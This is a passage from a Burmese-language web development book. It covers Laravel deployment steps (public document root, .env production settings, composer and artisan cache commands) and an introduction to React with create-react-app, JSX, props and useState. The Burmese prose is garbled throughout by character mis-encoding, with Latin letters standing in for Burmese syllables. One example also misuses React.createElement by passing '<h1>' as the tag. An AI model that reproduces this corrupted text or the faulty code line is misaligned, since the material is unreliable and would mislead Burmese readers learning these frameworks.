Parms အကြေနနဲ့ name ထည့်ကြေပးထားတာကို ကြေတွ့ရမှာ goစ်ပါတယ်။

အကြေသးစိတ်ထပ်ကြေgပာမယ်ဆိုရင်ကြေတာ့  API  Design  နဲ့  ပတ်သက်တဲ့အကြေeကာင်းကြေတွ  ကြေgပာစရာရှိပါကြေသး
တယ်။ ကြေနာက်ဆံုးပုိင်းကြေရာက်ကြေတာ့မှ ဆက်လက် ကြေoာ်gပသွားပါမယ်။

ဒီအဆင့်ထိ  ကြေရးခဲ့သမျှကုဒ်  အgပည့်အစံုကို  လုိအပ်တယ်ဆိုရင်  ကြေအာက်မှာကြေပးထားတဲ့  လိပ်စာကကြေန
Download ရယူနိုင်ပါတယ်။

- https://github.com/eimg/laravel-book

https://github.com/eimg/laravel-book
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အခန်း (၅၃) – Laravel Deployment

Laravel  ကိုအသုံးgပုပြပီး  ကြေရးပုံကြေရးနည်းကြေတွ ကြေgပာပြပီးပြပီဆိုကြေတာ့၊ ကြေရးပြပီးသားပကြေရာင်္ဂျက်ကို  အများအသုံးgပု
နိုင်oုိ ့Publish ကြေတာ့မယ်ဆိုရင် သတိgပုသင့်တဲ့ အချက်ကြေတွကို ကြေoာ်gပသွားပါမယ်။ 

၁။ Laravel ပကြေရာင်္ဂျက်ကြေတွမှာ ကုဒ်ကြေရးတဲ့အခါ Route, Controller, View စသgoင့် သူ့ကြေနရာနဲ့သူ ကြေရး
ရကြေပမယ့် ကြေနာက်ဆံုးရလဒ်ကကြေတာ့ /public oုိဒါ goစ်ပါတယ်။ ဒါကြေeကာင့် ပကြေရာင်္ဂျက်ကို Publish လုပ်oုိ့
Web Server  တစ်ခုနဲ့  Setup  လုပ်တဲ့အခါ  ပကြေရာင်္ဂျက်ကြကီးတစ်ခုလံုးကို  Web Document Root  အကြေနနဲ့
သတ်မှတ်ရမှာမဟုတ်yဲ  /public oုိဒါကိုပဲ  Root  အကြေနနဲ့  သတ်မှတ်ကြေပးရမှာ  goစ်ပါတယ်။  ဒါဟာ
ကြေကာင်းမွန်တဲ့ oဲွ့စည်းပံုတစ်ခုပါ။  Web Server  ကကြေနတစ်ဆင့် ရလဒ်ကိုသာ  Access  လုပ်လုိရ့မှာ goစ်ပြပီး၊
/public oုိဒါ အgပင်yက်က Framework Source Code နဲ့ တgခား Route, Controller, View, Model
ကုဒ်ကြေတွကို Web Server ကကြေနတစ်ဆင့် Access လုပ်လုိရ့မှာ မဟုတ်ပါyူး။

၂။ .env oုိင်ကို သတိထားပါ။ .env oုိင် (၂) ခုရှိသင့်ပါတယ်။ Setting ကြေတွ မတူတဲ့အတွက် ကိုယ့်
စက်ထဲက  .env oုိင်နဲ့  Server  ကြေပါ်က  .env oုိင် တူမှာမဟုတ်ပါyူး။ ဥပမာ အားgoင့် ကိုယ့်စက်ထဲက
.env oုိင်မှာ APP_ENV က local goစ်ကြေနကြေပမယ့် Server ကြေပါ်က .env မှာ production goစ်သင့်
ပါတယ်။ ကိုယ့်စက်ထဲမှာ  APP_URL က localhost goစ်ကြေနကြေပမယ့်  Server  ကြေပါ်မှာ  Domain Name
အမှနg်oစ်သင့်ပါတယ်။ APP_DEBUG က true ဆိုရင် တစ်ခုခုအဆင်မကြေgပ တဲ့အခါ Error အgပည့်အစံုgပ
မှာပါ။ Server ကြေပါ်မှာ false goစ်ကြေနသင့်ပါတယ်။ ဒါမှ User ကို Error ကြေတွအကုန် ကြေလျှာက်မgပကြေတာ့မှာ
ပါ။  DB_USERNAME တို့  DB_PASSWORD တိုဟ့ာလည်း  ကိုယ့်စက်ထဲက  Setting  နဲ့  Server  ကြေပါ်က
Setting  တူမှာမဟုတ်ပါyူး။  ဒါကြေeကာင့်  .env oုိင်ကို  Server  ရဲ့  Setting  ကြေပါ်မူတည်ပြပီး  လုိအပ်သလုိ
gပင်ဆင်ကြေပးoုိ့ လုိအပ်ပါတယ်။
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၃။ Publish မလုပ်ခင် ပကြေရာင်္ဂျက်oုိဒါထဲမှာ ဒီ Command ကို Run ကြေပးသင့်ပါတယ်။

composer install -o --no-dev

Namespaces  အခန်းမှာ  Namespace  Import  လုပ်လုိက်တာနဲ့  သက်ဆိုင်ရာoုိင်ကို  အလုိအကြေလျှာက်
include() လုပ်ကြေပးကြေအာင် လုပ်ထားလုိရ့တယ်လုိ့  ကြေgပာခဲ့oူးပါတယ်။  Composer  မှာ အ့ဲဒီလုိ  အလုပ်
လုပ်ကြေပးနိုင်တဲ့  autoload လုပ်ကြေဆာင်ချက် ပါဝင်ပြပီး  Laravel  က အသုံးgပုထားပါတယ်။ ဒီအလုပ် လုပ်
နိုင်oုိအ့တွက်  Namespace  Import  လုပ်တိုင်း  Composer  က  Class  oုိင်ကို  လုိက်ရှာရပါတယ်။
composer install ကို -o Option နဲ့ Run တဲ့အခါ oုိင်ကို လုိက်ရှာကြေနစရာ မလုိကြေအာင် Cache လုပ်
ထားလုိက်လုိ့  အလုပ်လုပ်ပံု  ပုိgမန်သွားမှာgoစ်ပါတယ်။  --no-dev ရဲ့  အဓိပ္ပါယ်ကကြေတာ့  Development
Dependency ကြေခါ် Test Library ကြေတွ Build Library ကြေတွကို ထည့်လုပ်စရာမလုိyူးလုိ ့ကြေgပာလုိက်တာပါ။

၄။ ပြပီးတဲ့အခါ Framework ကုဒ်ကြေတွ အတွက်လည်း Cache ကြေတွထုတ်ကြေပးရပါမယ်။ ဒီလုိပါ -

php artisan config:cache

php artisan route:cache

php artisan view:cache

/config oုိဒါထဲက ကုဒ်ကြေတွကို  နမူနာကြေတွမှာ ထိစရာ gပင်စရာ မလုိခဲ့ကြေပမယ့် oွင့်eကည့်လုိ့  ရပါတယ်။
App Setting ကြေတွ Database Setting ကြေတွ Auth Setting ကြေတွ အတွက် oုိင်ကြေတွအများကြကီး ရှတိယ်ဆိုတာ
ကို  ကြေတွ့ရပါလိမ့်မယ်။  config:cache က အ့ဲဒီoုိင်ကြေတွ အားလုံးကို  ကြေပါင်းကြေပးလုိက်တာပါ။ ဒါကြေeကာင့်
အလုပ်လုပ်တဲ့အခါ  oုိင်တစ်ခုချင်းစီကို  လုိက်oတ်စရာမလုိကြေတာ့  ပုိgမန်သွားပါလိမ့်မယ်။  အတူတူပါပဲ
route:cache ကလည်း  ကြေရးထားသမျှ  Route  ကြေတွအကုန်လုံးကို  Function  တစ်ခုတည်းgoစ်ကြေအာင်
ကြေပါင်းကြေပးလုိက်မှာပါ။ ဒါကြေeကာင့် Route (၁၀၀) ရှိလုိ့  Route Method ကြေတွကို အကြကိမ် (၁၀၀) Run စရာမ
လုိကြေတာ့yဲ တစ်ကြကိမ်းတည်းနဲ့ အလုပ်လုပ်ကြေပးသွားမှာပါ။ view:cache ကကြေတာ့ Blade ကြေရးထုံးအတိုင်း
ကြေရးထားတဲ့  View Template  ကြေတွကို  ရုိးရုိး  PHP  goစ်ကြေအာင်  ကြေgပာင်းကြေပးသွားမှာမုိ့လုိ့  တစ်ကြကိမ်  အလုပ်
လုပ်တိုင်း တစ်ခါကြေgပာင်းပြပီး လုပ်ကြေနစရာမလုိကြေတာ့ပါyူး။
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တစ်ခကုြေတာ့ သတိgပုပါ။ ဒီလုိ  Cache  ကြေတွ ထုတ်ထားပြပီးကြေတာ့မှ  Config  ကြေတွ  Route  ကြေတွ  View  ကြေတွကို
gပင်ခဲ့ရင် အလုပ်လုပ်မှာ မဟုတ်ကြေတာ့ပါyူး။ Cache ကိုပဲ အသုံးgပုမှာမုိလုိ့့ ကိုယ့်gပင်ဆင်မှုက သက်ကြေရာက်
မှုရှိမှာ မဟုတ်ကြေတာ့ပါyူး။ ဒါကြေeကာင့် လုိအပ်ရင် Cache ကြေတွကို gပန်ရှင်းလုိလ့ည်း ရပါတယ်။ ဒီလုိပါ -

php artisan config:clear

php artisan route:clear

php artisan view:clear

ကြေနာက်ဆံုးတစ်ချက်အကြေနနဲ့  npm run dev နဲ့ ကြေရးကြေနစဉ် အကြေgပာင်းအလဲရှိတိုင်း  Re-compile  လုပ်ကြေပး
ကြေနတဲ့ Client-side UI Code ကြေတွကို အခုလုိ အပြပီးသတ် Compile လုပ်ပြပီး ထုတ်ထားကြေပးရပါမယ်။

npm run build

ဒီလုပ်ငန်းကြေတွအားလုံး ကြေဆာင်ရွက်ပြပီးပြပီဆိုရင်ကြေတာ့ ပကြေရာင်္ဂျက်ကို လွှင့်တင်oုိ့  Framework  yက်က လုပ်
ကြေပးရမယ့်အလုပ်ကြေတွ gပည့်စံုသွားပါပြပီ။

ဆက်လက်ပြပီးကြေတာ့ ကြေနာက်တစ်ပုိင်းမှာ React JavaScript Framework အကြေeကာင်းကို ဆက်လက်ကြေoာ်gပ
သွားပါမယ်။



အပုိင်း (၆)
React
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အခန်း (၅၄) – React Basic

React ဟာ ကကြေနအ့ချနိ်မှာ အဓိကအကျဆံုး  Front-end နည်းပညာတစ်ခုပါ။ တစ်ကယ်ကြေတာ့ Front-end
နည်းပညာ  အကြေနနဲတ့င်  မကပါyူး၊  Hybrid  Mobile  App  နည်းပညာ  အကြေနနဲ့ကြေရာ၊  Cross-platform
Software Development နည်းပညာအကြေနနဲပ့ါ လူကြကိုက်များကြေနပါတယ်။ React ဟာ သူသyာဝအရကိုက
နည်းပညာပုိင်း အဆင့်gမင့် ရှုပ်ကြေထွးပြပီး ကြေလ့လာရ ခက်ခဲပါတယ်။ အ့ဲဒီလုိ ကြေလ့လာရ ခက်ခဲတဲ့ နည်းပညာကို
အတတ်နိုင်ဆံုး လွယ်သွားကြေအာင်၊ ရှင်းသွားကြေအာင် ဆက်လက်ကြေoာ်gပသွားမှာပါ။

React ကိုအသုံးgပုပြပီး စမ်းသပ်အဆင့်ကကြေန လက်ကြေတွ့သုံး ပကြေရာင်္ဂျက်ကြေတွအထိ ကြေရးသားoုိအ့တွက် လုိအပ်
မယ့် နည်းပညာအားလံုးက create-react-app လုိ့ကြေခါ်တဲ့  Package တစ်ခုမှာ အားလံုးစုစည်း ပါဝင်
ပါတယ်။  ဒီ  Package  ကို  မသံုးyဲ  ရုိးရုိး  JavaScript  ကုဒ်oုိင်အကြေနနဲ့  ထည့်သံုးလည်း  ရနိုင်ပါတယ်။  ဒီ
စာအုပ်မှာ create-react-app ကို အသုံးgပုပြပီးကြေတာ့ပဲ ကြေoာ်gပသွားမှာပါ။

Step 1 – Install create-react-app
ပထမအဆင့်အကြေနနဲ ့မိမိနှစ်သက်ရာ အမည်နဲ့ oုိဒါတစ်ခုကြေဆာက်ပါ။ အ့ဲဒီoုိဒါထဲမှာ Terminal ကိုoွင့်ပါ။
ပြပီးရင် create-react-app ကို အခုလုိ Install လုပ်ပါ။ 

npm install create-react-app

NPM  ကို  အသံုးgပုပြပီး  လက်ရှိoုိဒါထဲမှာ  create-react-app ကို  Install  လုပ်လုိက်တာပါ  (NPM
ကြေeကာင်း  ကြေရှ့အပုိင်းကြေတွမှာ ထည့်သွင်းကြေoာ်gပခဲ့ပြပီး  goစ်ပါတယ်)။  install အစား အတိုကြေကာက်  i လုိ့
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ကြေgပာရင်လည်း ရပါတယ်။ oွင့်eကည့်ရင် node_modules ဆိုတဲ့ oုိဒါတစ်ခုနဲ့  package-lock.json
ဆိုတဲ့oုိင်တစ်ခု ဝင်သွားတာကို ကြေတွ့ရမှာပါ။ node_modules oုိဒါထဲမှာ Install လုပ်လုိက်တဲ့  Package
ကြေတွနဲ့ ဆက်စပ် Package ကြေတွကို သိမ်းသွားမှာgoစ်ပြပီး package-lock.json မှာကြေတာ့ အ့ဲဒီ Package
ကြေတရွဲ့ Version နဲ့ ဆက်စပ်မှု အချက်အလက်ကြေတွကို သိမ်းထားမှာ goစ်ပါတယ်။

Step 2 – Create a React Project
ကြေနာက်တစ်ဆင့်အကြေနနဲ ့React ပကြေရာင်္ဂျက်တစ်ခုကို အခုလုိ တည်ကြေဆာက်ရပါမယ်။

npx create-react-app first

npx ကိုအသုံးgပုပြပီး Install လုပ်ထားတဲ့  Package ကြေတွကို  Run လုိ့ ရပါတယ်။ ဒီလုိ ပကြေရာင်္ဂျက်oုိဒါထဲမှာ
Install  လုပ်ထားတဲ့  Package  ကြေတွကို  Local Package  လုိ့ကြေခါ်ပြပီး  Global Package  ဆိုတာလည်း ရှိပါ
ကြေသးတယ်။ ထည့်မeကည့်ပါနဲဥ့ီး၊ သိချင်ရင် ကြေနာက်မှကြေလ့လာပါ။ အခု Local Package နဲ့ပဲ ကြေရှ့ဆက်သွားပါ
မယ်။ ကြေပးထားတဲ့  Command အရ create-react-app ကို သုံးပြပီး  first အမည်နဲ့  React ပကြေရာ
င်္ဂျက်တစ်ခု တည်ကြေဆာက်လုိက်တာပါ။ တည်ကြေဆာက်လုိက်တဲ့ React ပကြေရာင်္ဂျက်ထဲကို Terminal မှာ သွား
လုိက်ပါ။ အခုလုိ သွားလုိရ့ပါတယ်။

cd first 

ပြပီးရင် ပကြေရာင်္ဂျက်ကို အခုလုိ Run လုိရ့ပါတယ်။

npm start

ဒီလုိ Run ကြေပးလုိက်တယ်ဆိုရင် Web Browser အလုိအကြေလျှာက် ပွင့်လာပြပီး အခုလုိရလဒ်ကို ရရှိမှာ goစ်ပါ
တယ်။
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ဒါဟာ တည်ကြေဆာက်လုိက်တဲ့  React ပကြေရာင်္ဂျက် Sample ရလဒ် goစ်ပါတယ်။ ဒီလုိရလဒ် ကြေပါ်တယ်ဆိုရင်
React  ပကြေရာင်္ဂျက်တစ်ခု  တည်ကြေဆာက်gခင်း  ပြပီးသွားပြပီ  goစ်ပါတယ်။  မကြေပါ်ရင်ကြေတာ့  Step  1  ကကြေနစပြပီး
ကြေသချာoတ်ပြပီး ကြေနာက်တစ်ကြေခါက် gပန်စမ်းeကည့်ပါ။

Step 3 – First React Component
ပကြေရာင်္ဂျက်oုိဒါထဲက oုိင်ကြေတွကို တစ်ချက်ကြေလ့လာeကည့်ပါ။ ကြေလာကြေလာဆယ်မှာ တgခားoုိင်ကြေတွကို ထိစရာ
မလုိကြေသးပါyူး။ src oုိဒါထဲက App.js ထဲမှာ ကျွန်ကြေတာ်တိုရ့ဲ့ အဓိကကုဒ်ကြေတွကို ကြေရးသားသွားမှာ goစ်
ပါတယ်။ ဒါကြေeကာင့်  App.js ထဲက Sample  ကုဒ်ကြေတွကို အကုန်oျက်gပစ်လုိက်ပြပီး ဒီကုဒ်ကို ကူးကြေရးကြေပး
ပါ။
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 JavaScript/JSX 

export default function App() {
return <h1>Hello React</h1>;

}

ဒါဟာ  အကြေgခခံအကျဆံုး  React  Component  တစ်ခုgoစ်ပါတယ်။  အလွန်  ရုိးရှင်းပါတယ်။  React
Component  goစ်oုိအ့တွက်  HTML  Element  တစ်ခုကို  Return  gပန်ကြေပးတဲ့  Function  တစ်ခုgoစ်oုိ့သာ
လုိအပ်ပါတယ်။ အခုကြေန Browser မှာeကည့်လုိက်ရင် အခုလုိရလဒ်ကို ကြေတွ့gမင်ရမှာပါ။

create-react-app က ပကြေရာင်္ဂျက်အတွက် Hot Reloading လုိ့ကြေခါ်တဲ့ စနစ်ကို တစ်ခါထဲ ထည့်ထား
ကြေပးလုိ့ ကြေရးထားတဲ့ကုဒ်မှာ တစ်ခုခုgပင်လုိက်တဲ့အခါ ကြေနာက်တစ်ခါ oွင့်စရာမလုိyဲ၊  Refresh ကြေတyွာကြေတွ
လုပ်စရာ မလုိyဲ ရလဒ်ကို တန်းgမင်ရတာကိုလည်း သတိgပုeကည့်ပါ။

Step 4 – JSX
ကြေပးထားတဲ့နမူနာမှာ  <h1> ဆိုတဲ့  HTML  Element  ကို  JavaScript  ထဲမှာ  တိုက်ရုိက်ထည့်ကြေရးထားပါ
တယ်။ ရုိးရုိး JavaScript အရဆိုရင် ဒါဟာ Syntax မှားကြေနပါတယ်။ တစ်ကယ်ဆို ဒီလုိgoစ်သင့်ပါတယ်။
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 JavaScript/JSX 

return "<h1>Hello React</h1>";

ဒါမှ မှန်ကန်တဲ့  JavaScript  ကြေရးထုံးgoစ်မှာပါ။  React  ကြေပါ်ခါစကဆိုရင် တူညီတဲ့ရလဒ်ရoုိ့  အခုလုိကြေရးရပါ
တယ်။

 JavaScript 

React.createElement('<h1>', null, 'Hello React');

ဒီနည်းနဲ့  <h1> ကိုအသုံးgပုထားပြပီး  Hello  React ဆိုတဲ့  Content  ပါဝင်တဲ့   Component  ကို
တည်ကြေဆာက်ယူရတာပါ။ ဒါကြေပမယ့် ကြေရးရတာ အဆင်မကြေgပပါyူး။ ဒါကြေeကာင့် ကြေနာက်ပုိင်းမှာ JSX လုိ့ကြေခါ်တဲ့
နည်းပညာကို တီထွင်ခဲ့တာပါ။ JSX ဆိုတာ တစ်ကယ်ကြေတာ့ ရုိးရုိးကြေလးပါ။ HTML Code ကို JavaScript ထဲ
မှာ တိုက်ရုိက်ထည့်ကြေရးလုိ့ ရကြေအာင် ထွင်ကြေပးလုိက်တဲ့ နည်းပညာလုိ့ အလွယ်မှတ်နိုင်ပါတယ်။ JSX ကြေရးထုံး
ဟာ အများအားgoင့်  HTML ကြေရးထုံးနဲ့  တူပါတယ်။  Element  တိုင်းမှာ အပိတ်ပါရမယ်၊  class Attribute
အစား className လုိ့ သုံးရမယ် စသgoင့် ခြခွင်းချက်တစ်ချ ို ့ ရှိကြေပမယ့် ကြေခါင်းစားခံပြပီး ကြကိုမှတ်မကြေနပါနဲ့။
ကုဒ်နမူနာကြေတွ  ကြေရးရင်းနဲ့  ဒီထူးgခားချက်  ကြေလးကြေတွက သူ့yာသာ သတိgပုမိလာပါလိမ့်မယ်။  ကြေစာကြေစာက
ကြေရးခဲ့တဲ့ ကုဒ်ကို ဒီလုိ gပင်ပြပီး စမ်းeကည့်ပါ။

 JavaScript/JSX 

export default function App() {
return (

<div>
<h1>Hello React</h1>
<ul>

<li>Item One</li>
<li>Item Two</li>

</ul>
</div>

);
}

ဒီတစ်ခါ Return gပန်ကြေပးတာ HTML Element တစ်ခုမဟုတ်ကြေတာ့ပါ။ HTML Structure တစ်ခုgoစ်သွားပါ
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ပြပီ။  ထူးgခားချက်  နှစ်ချက်  ရှိပါတယ်။ ပထမတစ်ချက်က  HTML (JSX)  Structure  ကို  ကြေရးတဲ့အခါ  တစ်
ကြေeကာင်းတည်းမကြေရးyဲ  ခွဲကြေရးချင်လုိ့  ဝုိက်ကွင်းအoွင့်အပိတ်ထဲမှာ  ကြေရးထားရပါတယ်။  ဒုတိယတစ်ခု
ကကြေတာ့ အထက်မှာ ကြေgပာခဲ့ပြပီးသားပါ။  React Component  တစ်ခုgoစ်oုိ့  Element တစ်ခုကို  Return gပန်
ကြေပးရမယ်ဆိုတာ ပါပါတယ်။ တစ်ခုထက်ပုိလုိမ့ရပါyူး။ ဒါကြေeကာင့်  <div> တစ်ခုထဲမှာ အားလံုးကို စကုြေရး
ပြပီး တစ်ခုတည်း အကြေနနဲ့ gပန်ကြေပးထားရတာကို သတိgပုeကည့်ပါ။

Step 5 – Using Component
ဒီတစ်ခါ  Component  တစ်ခတုည်ကြေဆာက်ပြပီး  ကြေနာက်  Component  တစ်ခုကကြေန ယူသုံးတဲ့  ကုဒ်ကို  ကြေရး
eကည့်ပါမယ်။ ဒီလုိပါ - 

 JavaScript/JSX 

function Item() {
return <li>Content</li>;

}

export default function App() {
return (

<div>
<h1>Hello React</h1>
<ul>

<Item />
<Item />

</ul>
</div>

);
}

Item အမည်နဲ့  Component  တစ်ခုကို  အရင်ကြေဆာက်ထားပြပီးကြေတာ့  မှ  App Component  ထဲမှာ  အ့ဲဒီ
Item ကို ယူသုံးထားတာပါ။
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Step 6 – props
နည်းနည်းပုိ အကြေရးကြကီးတာကြေလး လာပါပြပီ။ Component တစ်ခုနဲတ့စ်ခု ကြေခါ်ယူအသုံးgပုတဲ့အခါ Data ကြေပး
လုိရ့ပါတယ်။ HTML Property  အကြေနနဲ့ ကြေပးရပါတယ်။ ဒီလုိကြေပးလုိက်တဲ့ တန်oုိးကြေတွကို  Property  လုိ့ကြေခါ်
ပြပီး props ကကြေနတစ်ဆင့် gပန်ယူသုံးလုိရ့ပါတယ်။ ဒီလုိပါ -

 JavaScript/JSX 

function Item(props) {
return <li>{props.name}, ${props.price}</li>;

}

export default function App() {
return (

<div>
<h1>Hello React</h1>
<ul>

<Item name="Apple" price="0.99" />
<Item name="Orange" price="0.89" />

</ul>
</div>

);
}

App က Item Component  ကို အသံုးgပုတဲ့အခါ  name နဲ့  price ဆိုတဲ့  Property  နှစ်ခုကြေပးထားသလုိ့
Item ကလည်း အ့ဲဒီ Property နှစ်ခုကို အသံုးgပုအလုပ်လုပ်ထားgခင်း goစ်ပါတယ်။ JSX ကြေရးထုံးအရ HTML
ထဲမှာ   JavaScript Expression   ကြေတွ ထည့်ကြေရးချင်ရင် တွန့်ကွင်း အoွင့်အပိတ်ထဲမှာ ကြေရးကြေပးရပါတယ်  ။ ဒါ
ကြေeကာင့် ဒီကုဒ်ရဲ့ ရလဒ်က အခုလုိgoစ်မှာပါ -
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Step 7 – state
ကြေနာက်ထပ် အကြေရးကြကီးတဲ့  သကြေyာသyာဝကကြေတာ့  state goစ်ပါတယ်။  state ဆိုတာ  Component
အတွက် Data ပါ။ useState() လုိ့ကြေခါ်တဲ့ React Hook Function တစ်မျ ို းကို အသံုးgပုပြပီး ကြေရးသားနိုင်
ပါတယ်။ ဒီလုိပါ - 

 JavaScript/JSX 

import { useState } from "react";

function Item(props) {
return <li>{props.name}, ${props.price}</li>;

}

export default function App() {
const [data, setData] = useState([

{ id: 1, name: "Apple", price: 0.99 },
{ id: 2, name: "Orange", price: 0.89 },

]);

return (
<div>

<h1>Hello React</h1>
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<ul>
{data.map(i => (

<Item name={i.name} price={i.price} />
))}

</ul>
</div>

);
}

useState() ကို  အသုံးgပုနိုင်oုိအ့တွက်  အရင်ဆံုး  Import  လုပ်ထားတာကို  သတိgပုပါ။  ပြပီးတဲ့အခါ
useState() ရဲ့အကူအညီနဲ့  data နဲ့  setData ကို  oန်တီးယူပါတယ်။  data က အသုံးgပုလုိတဲ့
State Data goစ်ပြပီး အ့ဲဒီ State Data ကို gပင်oုိလုိ့အပ်တဲ့အခါ setData နဲ့ gပင်ရပါတယ်။ တစ်gခားနည်းနဲ့
gပင်လုိ့ မရပါyူး။ အမည်ကြေပးတာကကြေတာ့ ကြကိုက်တဲ့အမည် ကြေပးလုိရ့ပါတယ်။ ဥပမာ - data, setData
အစား  user,  setUser  (သုိ့)  theme,  setTheme (သုိ့)  products,  SetProducts
စသည်goင့်။ Component တစ်ခုမှာ State Data တစ်ခုမက လုိသကြေလာက် ကြေeကညာအသံုးgပုလုိ့ ရပါတယ်။

useState() အတွက်ကြေပးလုိက်တဲ့  Value  က  State  Data  အတွက်  Default  Value  goစ်ပါတယ်။
Default Value ရှိရင် ကြေပးပြပီး မရှိရင် မကြေပးyဲကြေနလုိလ့ည်း ရပါတယ်။

ဒီကြေနရာမှာ  အကြေရးကြကီးတဲ့  ထူးgခားတာကကြေတာ့  state     တန်oုိးကြေgပာင်းရင်    Component    က  အလုိအ  

ကြေလျှာက်  ၊   ကြေgပာင်းလဲသွားတဲ့  တန်oုိးနဲအ့ညီ    ကြေgပာင်းလဲ    ကြေoာ်gပကြေပးသွားမှာ  goစ်ပါတယ်  ။  ဒါဟာ  React  ရဲ့
အဓိက အကျဆံုး  Concept ပါ။  state ကြေgပာင်းရင် Component က အလုိအကြေလျှာက် ကြေgပာင်းလဲ ကြေoာ်gပ
ကြေပးgခင်းပါပဲ။

ကြေနာက်ကွယ်မှာ ကြေလးနက်တဲ့ နည်းပညာသကြေyာသyာဝကြေတွ ရှိကြေနကြေပမယ့် လုိရင်း အနှစ်ချုပ်ကကြေတာ့ ဒါပါ
ပဲ။ အကြေရးကြကီးလုိ ့ထပ်ကြေgပာပါဦးမယ်။ state     ကြေgပာင်းရင်   Component   ရဲ့ ကြေoာ်gပပုံ လုိက်ကြေgပာင်းပါတယ်  ။
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Step 8 – Changing state
state ကြေgပာင်းရင် Component ရဲ့ ကြေoာ်gပပုံပါ လုိက်ကြေgပာင်းပုံကို နမူနာ စမ်းeကည့်ရကြေအာင်။ ပထမဦးဆံုး
အကြေနနဲ့ App Class အတွက် add() Function ကြေလးတစ်ခု အခုလုိ ကြေရးကြေပးလုိက်ပါမယ်။

 JavaScript/JSX 

import { useState } from "react";

function Item(props) {
return (

<li>
{props.name}, ${props.price}

</li>
);

}

export default function App() {
const [data, setData] = useState([

{ id: 1, name: "Apple", price: 0.99 },
{ id: 2, name: "Orange", price: 0.89 },

]);

const add = () => {
const id = data.length + 1;

setData([
...data,
{ id, name: `Item ${id}`, price: 0.01 * id }

]);
}

return (
<div>

<h1>Hello React</h1>
<ul>

{data.map(i => (
<Item name={i.name} price={i.price} />

))}
</ul>
<button onClick={add}>Add</button>

</div>
);

}
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နမူနာမှာ add() Method ရဲ့ကုဒ်က setData() ကိုသုံးပြပီး  State Data ကိုgပင်ထားပါတယ်။ နင်္ဂိုရှိကြေန
တဲ့  data ကြေတွကို  Spread Operator  နဲ့goန့်ချလုိက်ပြပီး  ကြေနာက်ကကြေန  Item  အသစ်တစ်ခု  ထပ်တိုးထည့်
ကြေပးလုိက်တာပါ။

ပြပီးတဲ့အခါ  <button> တစ်ခုကိုလည်း  ထည့်ကြေပးထားပြပီး  အ့ဲဒီ  <button> ရဲ့  onClick အတွက်
ကြကိုတင်ကြေရးသားထားတဲ့  add ကို  သတ်မှတ်ကြေပးလုိက်တဲ့အတွက်  <button> ကိုနှိပ်ရင်  add()
Function အလုပ်လုပ်သွားမှာgoစ်ပြပီး State Data မှာ Item အသစ်တစ်ခု တိုးသွားမှာပါ။ ဒီလုိ State Data
မှာ Item အသစ်တိုးသွားတာနဲ့ တစ်ပြပိုင်နက်၊ UI မှာလည်း တိုးသွားတဲ့ Item ကို လာgပကြေပးမှာgoစ်ပါတယ်။
ဒါအကြေရးကြကီးပါတယ်။ အထက်မှာ ကြေgပာခဲ့တဲ့ State Data ကို gပင်လုိက်တဲ့အတွက် Component နဲ့ ကြေoာ်gပပုံ
အလုိအကြေလျှာက် လုိက်ကြေgပာင်းသွားတာပါ။ ကျွန်ကြေတာ်တိုက့ အ့ဲဒီလုိ ကြေgပာင်းပြပီး gပကြေပးပါလုိ့ ထပ်ကြေgပာစရာ မ
လုိအပ်ပါyူး။ စမ်းeကည့်လုိက်ပါ။

ကြေရးကြေနတာက  HTML  ပုံစံ  ကြေရးကြေနကြေပမယ့်  တစ်ကယ်ကြေတာ့  HTML  မဟုတ်ပါyူး။  JSX  goစ်ပါတယ်။  ဒါ
ကြေeကာင့်  ရုိးရုိး  HTML  နဲ့  ယှဉ်ပြပီး  မှားနိုင်တာကြေလး  တစ်ချ ို ့ရှိကြေနပါတယ်။  onClick ဟာ  စာလံုးအကြကီး
အကြေသး  အတိအကျ  goစ်ရပါတယ်။  onclick လုိ့  ကြေရးလုိမ့ရပါyူး။  onClick အတွက်  add ကို
သတ်မှတ်ကြေပးချင်တဲ့အခါ  {add}  လုိ့ကြေရးရပါတယ်။  "add" လုိ့ကြေရးလုိမ့ရသလုိ  "add()" (သုိ့)
{add()} လုိ့ ကြေရးလုိလ့ည်း မရပါyူး။ အ့ဲဒီကြေနရာမှာ add ကို  Run မှာမဟုတ်yဲ Props အကြေနနဲ့  Assign
လုပ်ကြေပးချင်တာ goစ်တဲ့အတွက်ကြေeကာင့်ပါ။  "add" ဆိုရင်  ရုိးရုိး  String  ကို  Assign  လုပ်တာ goစ်ကြေနပြပီး
{add()} ဆိုရင် add ကို Run လုိက်သလုိ goစ်ကြေနတဲ့အတွက် မရတာပါ။ ဒါကြေလးကို ကြေလ့လာစမှာ HTML
တို ့ရုိးရုိး JavaScript တိုန့ဲ့ ကြေရာပြပီး မျက်စိလည်တက်eကတာကို မeကာခဏကြေတွ့ရပါတယ်။
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Step 9 – key Property and Virtual DOM
အခုလက်ရှိကြေရးထားတဲ့ကုဒ်ကို  Browser မှာစမ်းeကည့်တဲ့အခါ Console ကို oွင့်eကည့်ပါ။ အခုလုိ Warning
ကို ကြေတွ့ရနိုင်ပါတယ်။

yာအဓိပ္ပါယ်လည်းဆိုကြေတာ့၊ Array ကို  Loop လုပ်ပြပီး Component ကို ကြေoာ်gပကြေစတဲ့အခါ key Property
ပါဝင်သင့်ပါတယ်လုိ့ ကြေgပာထားတာပါ။ yာကြေeကာင့်လဲဆိုတာကို  ရှင်းgပoုိအ့တွက်  Virtual DOM  လုိ့ကြေခါ်တဲ့
နည်းစနစ်အကြေeကာင်း နည်းနည်းကြေgပာoုိလုိ့ပါတယ်။

Item (၅)  ခုပါတဲ့  List  တစ်ခု ရှိတယ် ဆိုeကပါစို။့ အရင်တံုးက စနစ်ကြေတွမှာ  Item အသစ်တစ်ခု တိုးလုိက်
တယ်ဆိုတာ တစ်ကယ်ကြေတာ့  Item (၆)  ခုပါတဲ့  List  တစ်ခုနဲ့  နင်္ဂို  Item (၅)  ခုပါတဲ့  List  ကို  အစားထုိး
ပစ်လုိက်eကတာပါ။  ဆိုလုိတာက  တစ်ခခုုgပင်လုိက်ရင်  gပင်တဲ့ကြေနရာတင်  ကြေgပာင်းတာ  မဟုတ်yဲ
Component UI   တစ်ခုလံုး ကြေgပာင်းသွားတဲ့သကြေyာ   ရှိပါတယ်။

Virtual DOM ရဲ့ အလုပ်လုပ်ပံုကကြေတာ့၊ Item (၅) ခုပါတဲ့ List ရဲ့ Browser ကြေပါ်မှာ ကြေoာ်gပတဲ့ DOM Tree နဲ့
ပုံစံတူ  Object  တစ်ခုထုတ်ထားလုိက်တယ်။ အသစ်တစ်ခုတိုးလုိက်လုိ့  ကြေoာ်gပပုံ  ကြေgပာင်းရကြေတာ့မယ်ဆိုရင်
